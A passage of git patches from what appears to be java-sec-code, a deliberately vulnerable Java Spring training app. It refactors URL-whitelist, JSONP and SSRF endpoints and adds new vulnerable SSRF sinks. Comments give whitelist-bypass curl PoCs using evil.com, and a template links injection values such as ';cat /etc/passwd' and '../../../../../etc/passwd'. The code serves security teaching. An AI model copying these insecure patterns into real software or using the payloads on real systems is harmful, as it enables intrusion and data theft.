 import java.net.URI;
 import java.net.URL;
 import java.util.ArrayList;
@@ -20,22 +19,20 @@
  * @version   2018.08.23
  */
 
-@Controller
+@RestController
 @RequestMapping("/url")
 public class URLWhiteList {
 
 
     private String domainwhitelist[] = {"joychou.org", "joychou.com"};
-
+    private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
     /**
      * bypass poc: bypassjoychou.org
-     * http://localhost:8080/url/endswith?url=http://aaajoychou.org
+     * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
      *
      */
-    @RequestMapping("/endswith")
-    @ResponseBody
-    public String endsWith(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
+    @GetMapping("/vuln/endsWith")
+    public String endsWith(@RequestParam("url") String url) throws Exception{
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
@@ -47,15 +44,15 @@ public String endsWith(HttpServletRequest request) throws Exception{
         return "Bad url.";
     }
 
+
     /**
      * bypass poc: joychou.org.bypass.com or bypassjoychou.org.
-     * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org
+     * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+     * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
      *
      */
-    @RequestMapping("/contains")
-    @ResponseBody
-    public String contains(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
+    @GetMapping("/vuln/contains")
+    public String contains(@RequestParam("url") String url) throws Exception{
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
@@ -70,13 +67,11 @@ public String contains(HttpServletRequest request) throws Exception{
 
     /**
      * bypass poc: bypassjoychou.org. It's the same with endsWith.
-     * http://localhost:8080/url/regex?url=http://aaajoychou.org
+     * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
      *
      */
-    @RequestMapping("/regex")
-    @ResponseBody
-    public String regex(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
+    @GetMapping("/vuln/regex")
+    public String regex(@RequestParam("url") String url) throws Exception{
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
@@ -92,15 +87,14 @@ public String regex(HttpServletRequest request) throws Exception{
 
     /**
      * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains.
-     * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org
+     * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org
      *
      */
-    @RequestMapping("/indexof")
-    @ResponseBody
-    public String indexOf(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
+    @GetMapping("/vuln/indexOf")
+    public String indexOf(@RequestParam("url") String url) throws Exception{
         URL u = new URL(url);
         String host = u.getHost();
+
         // If indexOf returns -1, it means that no string was found.
         for (String domain: domainwhitelist){
             if (host.indexOf(domain) != -1) {
@@ -113,16 +107,14 @@ public String indexOf(HttpServletRequest request) throws Exception{
     /**
      * The bypass of using java.net.URL to getHost.
      *
-     * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
-     * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+     * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
+     * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
      *
      * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
      */
-    @RequestMapping("/url_bypass")
-    @ResponseBody
-    public String url_bypass(HttpServletRequest request) throws Exception{
-        String url = request.getParameter("url");
-        System.out.println("url:  " + url);
+    @GetMapping("/vuln/url_bypass")
+    public String url_bypass(@RequestParam("url") String url) throws Exception{
+        logger.info("url:  " + url);
         URL u = new URL(url);
 
         if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
@@ -130,7 +122,7 @@ public String url_bypass(HttpServletRequest request) throws Exception{
         }
 
         String host = u.getHost().toLowerCase();
-        System.out.println("host:  " + host);
+        logger.info("host:  " + host);
 
         // endsWith .
         for (String domain: domainwhitelist){
@@ -145,18 +137,16 @@ public String url_bypass(HttpServletRequest request) throws Exception{
 
 
     /**
-     * First-level host whitelist.
-     * http://localhost:8080/url/seccode1?url=http://aa.taobao.com
+     * 一级域名白名单 First-level host whitelist.
+     * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
      *
      */
-    @RequestMapping("/seccode1")
-    @ResponseBody
-    public String seccode1(HttpServletRequest request) throws Exception{
+    @GetMapping("/sec/endswith")
+    public String sec_endswith(@RequestParam("url") String url) throws Exception{
 
-        String whiteDomainlists[] = {"taobao.com", "tmall.com"};
-        String url = request.getParameter("url");
+        String whiteDomainlists[] = {"joychou.org", "joychou.com"};
 
-        URI uri = new URI(url);
+        URI uri = new URI(url); // 必须用URI
         if (!url.startsWith("http://") && !url.startsWith("https://")) {
             return "SecurityUtil is not http or https";
         }
@@ -174,15 +164,13 @@ public String seccode1(HttpServletRequest request) throws Exception{
     }
 
     /**
-     * Muti-level host whitelist.
-     * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com
+     * 多级域名白名单 Multi-level host whitelist.
+     * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
      *
      */
-    @RequestMapping("/seccode2")
-    @ResponseBody
-    public String seccode2(HttpServletRequest request) throws Exception{
-        String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"};
-        String url = request.getParameter("url");
+    @GetMapping("/sec/multi_level_host")
+    public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{
+        String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
 
         URI uri = new URI(url);
         if (!url.startsWith("http://") && !url.startsWith("https://")) {
@@ -199,21 +187,20 @@ public String seccode2(HttpServletRequest request) throws Exception{
         return "Bad url.";
     }
 
+
     /**
-     * Muti-level host whitelist.
-     * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com
+     * 多级域名白名单 Multi-level host whitelist.
+     * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
      *
      */
-    @RequestMapping("/seccode3")
-    @ResponseBody
-    public String seccode3(HttpServletRequest request) throws Exception{
+    @GetMapping("/sec/array_indexOf")
+    public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{
 
         // Define muti-level host whitelist.
-        ArrayList<String> whiteDomainlists = new ArrayList<String>();
-        whiteDomainlists.add("bbb.taobao.com");
-        whiteDomainlists.add("ccc.bbb.taobao.com");
+        ArrayList<String> whiteDomainlists = new ArrayList<>();
+        whiteDomainlists.add("bbb.joychou.org");
+        whiteDomainlists.add("ccc.bbb.joychou.org");
 
-        String url = request.getParameter("url");
         URI uri = new URI(url);
 
         if (!url.startsWith("http://") && !url.startsWith("https://")) {
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java
index a5c9072f..da2474fa 100644
--- a/src/main/java/org/joychou/controller/jsonp/JSONP.java
+++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java
@@ -10,6 +10,8 @@
 import org.springframework.web.bind.annotation.*;
 import org.springframework.web.servlet.ModelAndView;
 import org.springframework.web.servlet.view.json.MappingJackson2JsonView;
+import org.joychou.config.WebConfig;
+import org.joychou.util.WebUtils;
 
 import javax.servlet.http.HttpServletRequest;
 import java.security.Principal;
@@ -22,12 +24,13 @@
  * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
  */
 
+
 @RestController
 @RequestMapping("/jsonp")
 public class JSONP {
 
     private static String[] urlwhitelist = {"joychou.com", "joychou.org"};
-
+    private static String callback = WebConfig.getBusinessCallback();
 
     // get current login username
     public static String getUserInfo2JsonStr(HttpServletRequest request) {
@@ -44,54 +47,53 @@ public static String getUserInfo2JsonStr(HttpServletRequest request) {
     /**
      * Set the response content-type to application/javascript.
      * <p>
-     * http://localhost:8080/jsonp/referer?callback=test
+     * http://localhost:8080/jsonp/vuln/referer?callback_=test
      */
-    @RequestMapping(value = "/referer", produces = "application/javascript")
-    private String referer(HttpServletRequest request) {
-        String callback = request.getParameter("callback");
-        return callback + "(" + getUserInfo2JsonStr(request) + ")";
+    @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
+    public String referer(HttpServletRequest request) {
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
     }
 
     /**
      * Direct access does not check Referer, non-direct access check referer.
      * Developer like to do jsonp testing like this.
      * <p>
-     * http://localhost:8080/jsonp/emptyReferer?callback=test
+     * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
      */
-    @RequestMapping(value = "/emptyReferer", produces = "application/javascript")
-    private String emptyReferer(HttpServletRequest request) {
+    @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+    public String emptyReferer(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
         if (null != referer && SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
             return "error";
         }
-
-        String callback = request.getParameter("callback");
-        return callback + "(" + getUserInfo2JsonStr(request) + ")";
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
     }
 
     /**
      * Adding callback or cback on parameter can automatically return jsonp data.
-     * http://localhost:8080/jsonp/advice?callback=test
-     * http://localhost:8080/jsonp/advice?_callback=test
+     * http://localhost:8080/jsonp/vuln/advice?callback=test
+     * http://localhost:8080/jsonp/vuln/advice?_callback=test
      *
      * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
      * Such as JSONOjbect or JavaBean. String type cannot be used.
      */
-    @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
+    @RequestMapping(value = "/vuln/advice", produces = MediaType.APPLICATION_JSON_VALUE)
     public JSONObject advice(HttpServletRequest request) {
         return JSON.parseObject(getUserInfo2JsonStr(request));
     }
 
 
     /**
-     * http://localhost:8080/jsonp/mappingJackson2JsonView?callback=test
+     * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
      * Reference: https://p0sec.net/index.php/archives/122/ from p0
      * Affected version:  java-sec-code test case version: 4.3.6
      *     - Spring Framework 5.0 to 5.0.6
      *     - Spring Framework 4.1 to 4.3.17
      */
-    @RequestMapping(value = "/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+    @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
     public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
         ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
         Principal principal = req.getUserPrincipal();
@@ -102,29 +104,25 @@ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
 
     /**
      * Safe code.
-     * http://localhost:8080/jsonp/sec?callback=test
+     * http://localhost:8080/jsonp/sec?callback_=test
      */
-    @RequestMapping(value = "/sec", produces = "application/javascript")
-    private String safecode(HttpServletRequest request) {
+    @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+    public String safecode(HttpServletRequest request) {
         String referer = request.getHeader("referer");
 
         if (SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist) == null) {
             return "error";
         }
-
-        String callback = request.getParameter("callback");
-        return callback + "(" + getUserInfo2JsonStr(request) + ")";
+        String callback = request.getParameter(this.callback);
+        return WebUtils.json2Jsonp(callback, getUserInfo2JsonStr(request));
     }
 
 
-    /**
-     * http://localhost:8080/jsonp/getToken
-     *
-     * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"}
-     */
-    @RequestMapping("/getToken")
-    public CsrfToken csrf(CsrfToken token) {
+    @GetMapping("/getToken")
+    public CsrfToken getCsrfToken(CsrfToken token) {
         return token;
     }
 
+
+
 }
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/JsonpFilter.java b/src/main/java/org/joychou/filter/JsonpFilter.java
new file mode 100644
index 00000000..25a72898
--- /dev/null
+++ b/src/main/java/org/joychou/filter/JsonpFilter.java
@@ -0,0 +1,102 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * @author JoyChou @ 2020-01-13
+ * 专门为object自动转jsonp功能配置的filter
+ */
+
+@WebFilter(filterName = "jsonpFilter", urlPatterns = "/*")
+public class JsonpFilter implements Filter {
+
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
+    @Override
+    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+            throws IOException, ServletException {
+
+        HttpServletRequest request = (HttpServletRequest) req;
+        HttpServletResponse response = (HttpServletResponse) res;
+
+        String refer = request.getHeader("referer");
+        String[] jsonpReferWhitelist = WebConfig.getJsonpReferWhitelist();
+        StringBuffer url = request.getRequestURL();
+        String query = request.getQueryString();
+
+        // 如果不满足jsonp校验逻辑，则不校验
+        if ( !check(request) ) {
+            filterChain.doFilter(req, res);
+            return ;
+        }
+
+        // 校验jsonp逻辑，如果不安全，返回403页面
+        if (SecurityUtil.checkURLbyEndsWith(refer, jsonpReferWhitelist) == null ){
+            logger.info("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            response.getWriter().write("forbidden");
+            response.flushBuffer();
+            return ;
+        }
+
+        // 正常的refer，继续业务逻辑。
+        filterChain.doFilter(req, res);
+
+    }
+
+    /**
+     *
+     * @return true要进行jsonp安全校验，false不进行jsonp安全校验
+     */
+    private boolean check(HttpServletRequest req) {
+
+        // 如果jsonp校验的开关为false，不校验
+        if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+            return false;
+        }
+
+        // 只校验GET请求
+        if ( !"GET".equals(req.getMethod()) ) {
+            return false;
+        }
+
+        // 只校验带配置里的callback参数请求
+        String reqCallback = null;
+        for (String callback: WebConfig.getJsonpCallbacks()) {
+            reqCallback = req.getParameter(callback);
+            if(StringUtils.isNotBlank(reqCallback)) {
+                break;
+            }
+        }
+        if (StringUtils.isBlank(reqCallback)){
+            return false;
+        }
+
+
+        return true;
+
+    }
+    @Override
+    public void destroy() {
+
+    }
+}
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 55ebf4a3..0c40c25f 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -15,7 +15,7 @@
 /**
  * 推荐使用该全局方案修复Cors跨域漏洞，因为可以校验一级域名。
  * @author JoyChou @ 2019.12.19
- * 
+ *
  */
 @WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
 public class OriginFilter implements Filter {
diff --git a/src/main/java/org/joychou/filter/HttpFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
similarity index 62%
rename from src/main/java/org/joychou/filter/HttpFilter.java
rename to src/main/java/org/joychou/filter/ReferFilter.java
index 83b4ea13..14f1a618 100644
--- a/src/main/java/org/joychou/filter/HttpFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -1,6 +1,5 @@
 package org.joychou.filter;
 
-
 import javax.servlet.*;
 import javax.servlet.annotation.WebFilter;
 import javax.servlet.http.HttpServletRequest;
@@ -24,7 +23,7 @@
  *
  */
 @WebFilter(filterName = "referFilter", urlPatterns = "/*")
-public class HttpFilter implements Filter {
+public class ReferFilter implements Filter {
 
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
@@ -39,10 +38,10 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
 
         HttpServletRequest request = (HttpServletRequest) req;
         HttpServletResponse response = (HttpServletResponse) res;
-
         String refer = request.getHeader("referer");
         PathMatcher matcher = new AntPathMatcher();
         boolean isMatch = false;
+
         for (String uri: WebConfig.getReferUris()) {
             if ( matcher.match (uri, request.getRequestURI()) ) {
                 isMatch = true;
@@ -50,22 +49,28 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
             }
         }
 
-        // logger.info("[+] Referer: " + refer);
-
-        if (isMatch) {
-            if (WebConfig.getReferSecEnabled()) {
-                // Check referer for all GET requests with callback parameters.
-                for (String callback: WebConfig.getCallbacks()) {
-                    if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){
-                        // If the check of referer fails, a 403 forbidden error page will be returned.
-                        if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
-                            logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
-                                    + "Referer: " + refer);
-                            response.sendRedirect("https://test.joychou.org/error3.html");
-                            return;
-                        }
-                    }
-                }
+        if (!isMatch) {
+            filterChain.doFilter(req, res);
+            return;
+        }
+
+        if (!WebConfig.getReferSecEnabled()) {
+            filterChain.doFilter(req, res);
+            return;
+        }
+
+        // Check referer for all GET requests with callback parameters.
+
+        String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+        if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback) ){
+            // If the check of referer fails, a 403 forbidden error page will be returned.
+            if (SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist()) == null ){
+                logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+                        + "Referer: " + refer);
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+                response.getWriter().write("forbidden");
+                response.flushBuffer();
+                return;
             }
         }
 
@@ -78,4 +83,4 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
     public void destroy() {
 
     }
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
index 685340c6..b0a59bc1 100644
--- a/src/main/java/org/joychou/util/WebUtils.java
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -5,6 +5,8 @@
 import java.io.IOException;
 import java.io.InputStream;
 
+import org.springframework.web.util.HtmlUtils;
+
 public class WebUtils {
 
     // Get request body.
@@ -23,4 +25,9 @@ public static String getCookieValueByName(HttpServletRequest request, String coo
         Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
         return cookie == null ? null : cookie.getValue();
     }
+
+
+    public static String json2Jsonp(String callback, String jsonStr) {
+        return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
+    }
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index d144baa5..9135b5db 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -9,11 +9,12 @@ mybatis.mapper-locations=classpath:mapper/*.xml
 management.security.enabled=false
 # logging.config=classpath:logback-online.xml
 
-
+# 业务的callback参数，不支持多个
+joychou.business.callback = callback_
 
 ### check referer configuration begins ###
 joychou.security.referer.enabled = false
-joychou.security.referer.hostwhitelist = joychou.org, joychou.com
+joychou.security.referer.host = joychou.org, joychou.com
 # Only support ant url style.
 joychou.security.referer.uri = /jsonp/**
 ### check referer configuration ends ###
@@ -30,6 +31,8 @@ joychou.security.csrf.method = POST
 
 
 ### jsonp configuration begins ###  # auto convert json to jsonp
-# callback parameters name
+# referer check
+joychou.security.jsonp.referer.check.enabled = true
+joychou.security.jsonp.referer.host = joychou.org, joychou.com
 joychou.security.jsonp.callback = callback, _callback
 ### jsonp configuration ends ###
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 18933862..64737751 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -10,6 +10,7 @@
     <p>
         <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
         <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
+        <a th:href="@{/file/pic}">FileUpload</a>&nbsp;&nbsp;
         <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
         <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
         <a th:href="@{/sqli/jdbc/vul?username=joychou}">SqlInject</a>&nbsp;&nbsp;

From 7b187f2a5fbb8850f4efef6ce065ce231a45d425 Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 14 Feb 2020 20:40:06 +0800
Subject: [PATCH 08/38] Add XXE & SSRF Vuln Code

---
 java-sec-code.iml                             |  11 +-
 pom.xml                                       |  16 +-
 .../java/org/joychou/controller/SSRF.java     |  91 +++--
 .../java/org/joychou/controller/SpEL.java     |   1 -
 src/main/java/org/joychou/controller/XXE.java | 321 ++++++++++--------
 .../java/org/joychou/filter/JsonpFilter.java  |   6 +-
 .../joychou/security/LoginSuccessHandler.java |  15 +-
 .../org/joychou/security/SSRFChecker.java     |   6 +-
 .../org/joychou/security/SecurityUtil.java    |  43 ++-
 src/main/resources/templates/login.html       |   6 +-
 10 files changed, 329 insertions(+), 187 deletions(-)

diff --git a/java-sec-code.iml b/java-sec-code.iml
index 5a12be26..c9e18a68 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -67,8 +67,13 @@
     <orderEntry type="library" name="Maven: com.google.protobuf:protobuf-java:2.6.0" level="project" />
     <orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.24" level="project" />
     <orderEntry type="library" name="Maven: org.jdom:jdom2:2.0.6" level="project" />
-    <orderEntry type="library" name="Maven: org.dom4j:dom4j:2.1.1" level="project" />
-    <orderEntry type="library" name="Maven: com.google.guava:guava:21.0" level="project" />
+    <orderEntry type="library" name="Maven: org.dom4j:dom4j:2.1.0" level="project" />
+    <orderEntry type="library" name="Maven: jaxen:jaxen:1.1.6" level="project" />
+    <orderEntry type="library" name="Maven: com.google.guava:guava:23.0" level="project" />
+    <orderEntry type="library" name="Maven: com.google.code.findbugs:jsr305:1.3.9" level="project" />
+    <orderEntry type="library" name="Maven: com.google.errorprone:error_prone_annotations:2.0.18" level="project" />
+    <orderEntry type="library" name="Maven: com.google.j2objc:j2objc-annotations:1.1" level="project" />
+    <orderEntry type="library" name="Maven: org.codehaus.mojo:animal-sniffer-annotations:1.14" level="project" />
     <orderEntry type="library" name="Maven: commons-collections:commons-collections:3.1" level="project" />
     <orderEntry type="library" name="Maven: commons-lang:commons-lang:2.4" level="project" />
     <orderEntry type="library" name="Maven: org.apache.httpcomponents:httpclient:4.3.6" level="project" />
@@ -193,5 +198,7 @@
     <orderEntry type="library" name="Maven: xml-resolver:xml-resolver:1.2" level="project" />
     <orderEntry type="library" name="Maven: xml-apis:xml-apis:1.4.01" level="project" />
     <orderEntry type="library" name="Maven: org.slf4j:slf4j-api:1.7.22" level="project" />
+    <orderEntry type="library" name="Maven: org.jsoup:jsoup:1.10.2" level="project" />
+    <orderEntry type="library" name="Maven: commons-io:commons-io:2.5" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index dd14d9ed..14dc18dc 100644
--- a/pom.xml
+++ b/pom.xml
@@ -62,7 +62,7 @@
         <dependency>
             <groupId>org.dom4j</groupId>
             <artifactId>dom4j</artifactId>
-            <version>2.1.1</version>
+            <version>2.1.0</version>
         </dependency>
 
 
@@ -70,7 +70,7 @@
         <dependency>
             <groupId>com.google.guava</groupId>
             <artifactId>guava</artifactId>
-            <version>21.0</version>
+            <version>23.0</version>
         </dependency>
 
         <dependency>
@@ -215,7 +215,19 @@
             <version>2.0.0</version>
         </dependency>
 
+        <!-- ssrf -->
+        <dependency>
+            <groupId>org.jsoup</groupId>
+            <artifactId>jsoup</artifactId>
+            <version>1.10.2</version>
+        </dependency>
 
+        <!-- ssrf -->
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.5</version>
+        </dependency>
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index fca0e63a..657f25cf 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -4,6 +4,7 @@
 import com.squareup.okhttp.OkHttpClient;
 import org.apache.commons.httpclient.HttpClient;
 import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
 import org.apache.http.HttpResponse;
 import org.apache.http.HttpStatus;
 import org.apache.http.client.fluent.Request;
@@ -11,18 +12,21 @@
 import org.apache.http.impl.client.CloseableHttpClient;
 import org.apache.http.impl.client.HttpClients;
 import org.joychou.security.SecurityUtil;
-import org.springframework.stereotype.Controller;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
 
 import javax.imageio.ImageIO;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.HttpURLConnection;
+import java.net.*;
 
 
 /**
@@ -31,12 +35,13 @@
  * @desc    Java ssrf vuls code.
  */
 
-@Controller
+@RestController
 @RequestMapping("/ssrf")
 public class SSRF {
 
+    private static Logger logger = LoggerFactory.getLogger(SSRF.class);
+
     @RequestMapping("/urlConnection")
-    @ResponseBody
     public static String ssrf_URLConnection(HttpServletRequest request)
     {
         try {
@@ -169,9 +174,7 @@ public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
      */
     @RequestMapping("/HttpClient")
     @ResponseBody
-    public static String ssrf_HttpClient(HttpServletRequest request) {
-
-        String url = request.getParameter("url");
+    public static String ssrf_HttpClient(@RequestParam String url) {
         CloseableHttpClient client = HttpClients.createDefault();
         HttpGet httpGet = new HttpGet(url);
         try {
@@ -193,26 +196,18 @@ public static String ssrf_HttpClient(HttpServletRequest request) {
 
     /**
      * Safe code.
-     * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com
+     * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
      *
      */
-    @RequestMapping("/commonsHttpClient")
+    @RequestMapping("/commonsHttpClient/sec")
     @ResponseBody
-    public static String commonsHttpClient(HttpServletRequest request) {
-
-        String url = request.getParameter("url");
-
-        // Security check
+    public static String commonsHttpClient(@RequestParam String url) {
         if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
             return "Bad man. I got u.";
         }
-        // Create an instance of HttpClient.
-        HttpClient client = new HttpClient();
 
-        // Create a method instance.
+        HttpClient client = new HttpClient();
         GetMethod method = new GetMethod(url);
-
-        // forbid 302 redirection
         method.setFollowRedirects(false);
 
         try {
@@ -238,19 +233,63 @@ public static String commonsHttpClient(HttpServletRequest request) {
 
     }
 
+    /**
+     * jsoup是一款Java的HTML解析器，可直接解析某个URL地址、HTML文本内容。
+     * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
+     *
+     */
+    @RequestMapping("/Jsoup")
+    @ResponseBody
+    public static String Jsoup(@RequestParam String url) {
+        try {
+            Document doc = Jsoup.connect(url)
+                    .userAgent(
+                            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) "
+                                    + "Chrome/64.0.3282.167 Safari/537.36")
+                    .timeout(3000)
+                    .cookie("name", "joychou") // request请求带的cookie
+                    .followRedirects(false)
+                    .execute().parse();
+        } catch (MalformedURLException e) {
+            return "exception: " + e.toString();
+        } catch (Exception e) {
+            return "exception: " + e.toString();
+        }
+
+        return "Jsoup ssrf";
+    }
+
+
+    /**
+     * 用途：IOUtils可远程获取URL图片
+     * 默认重定向：是
+     * 封装类：URLConnection
+     * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com
+     */
+    @RequestMapping("/IOUtils")
+    public static String IOUtils(@RequestParam String url) {
+        try {
+            // IOUtils.toByteArray内部用URLConnection进行了封装
+            byte[] b = IOUtils.toByteArray(URI.create(url));
+        } catch (Exception e) {
+            return "exception: " + e.toString();
+        }
+
+        return "IOUtils ssrf";
+    }
+
 
     /**
      * Safe code.
-     * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com
+     * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
      *
      */
-    @RequestMapping("/ImageIO_safe")
-    @ResponseBody
-    public static String ssrf_ImageIO_safecode(HttpServletRequest request) {
-        String url = request.getParameter("url");
+    @RequestMapping("/ImageIO/sec")
+    public static String ImageIOSec(@RequestParam String url) {
         try {
             URL u = new URL(url);
             if (!SecurityUtil.checkSSRF(url)) {
+                logger.error("[-] SSRF check failed. Original Url: "+ url);
                 return "SSRF check failed.";
             }
             ImageIO.read(u); // send request
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 28fdafde..07be7d7e 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,6 +1,5 @@
 package org.joychou.controller;
 
-import org.springframework.expression.EvaluationContext;
 import org.springframework.expression.ExpressionParser;
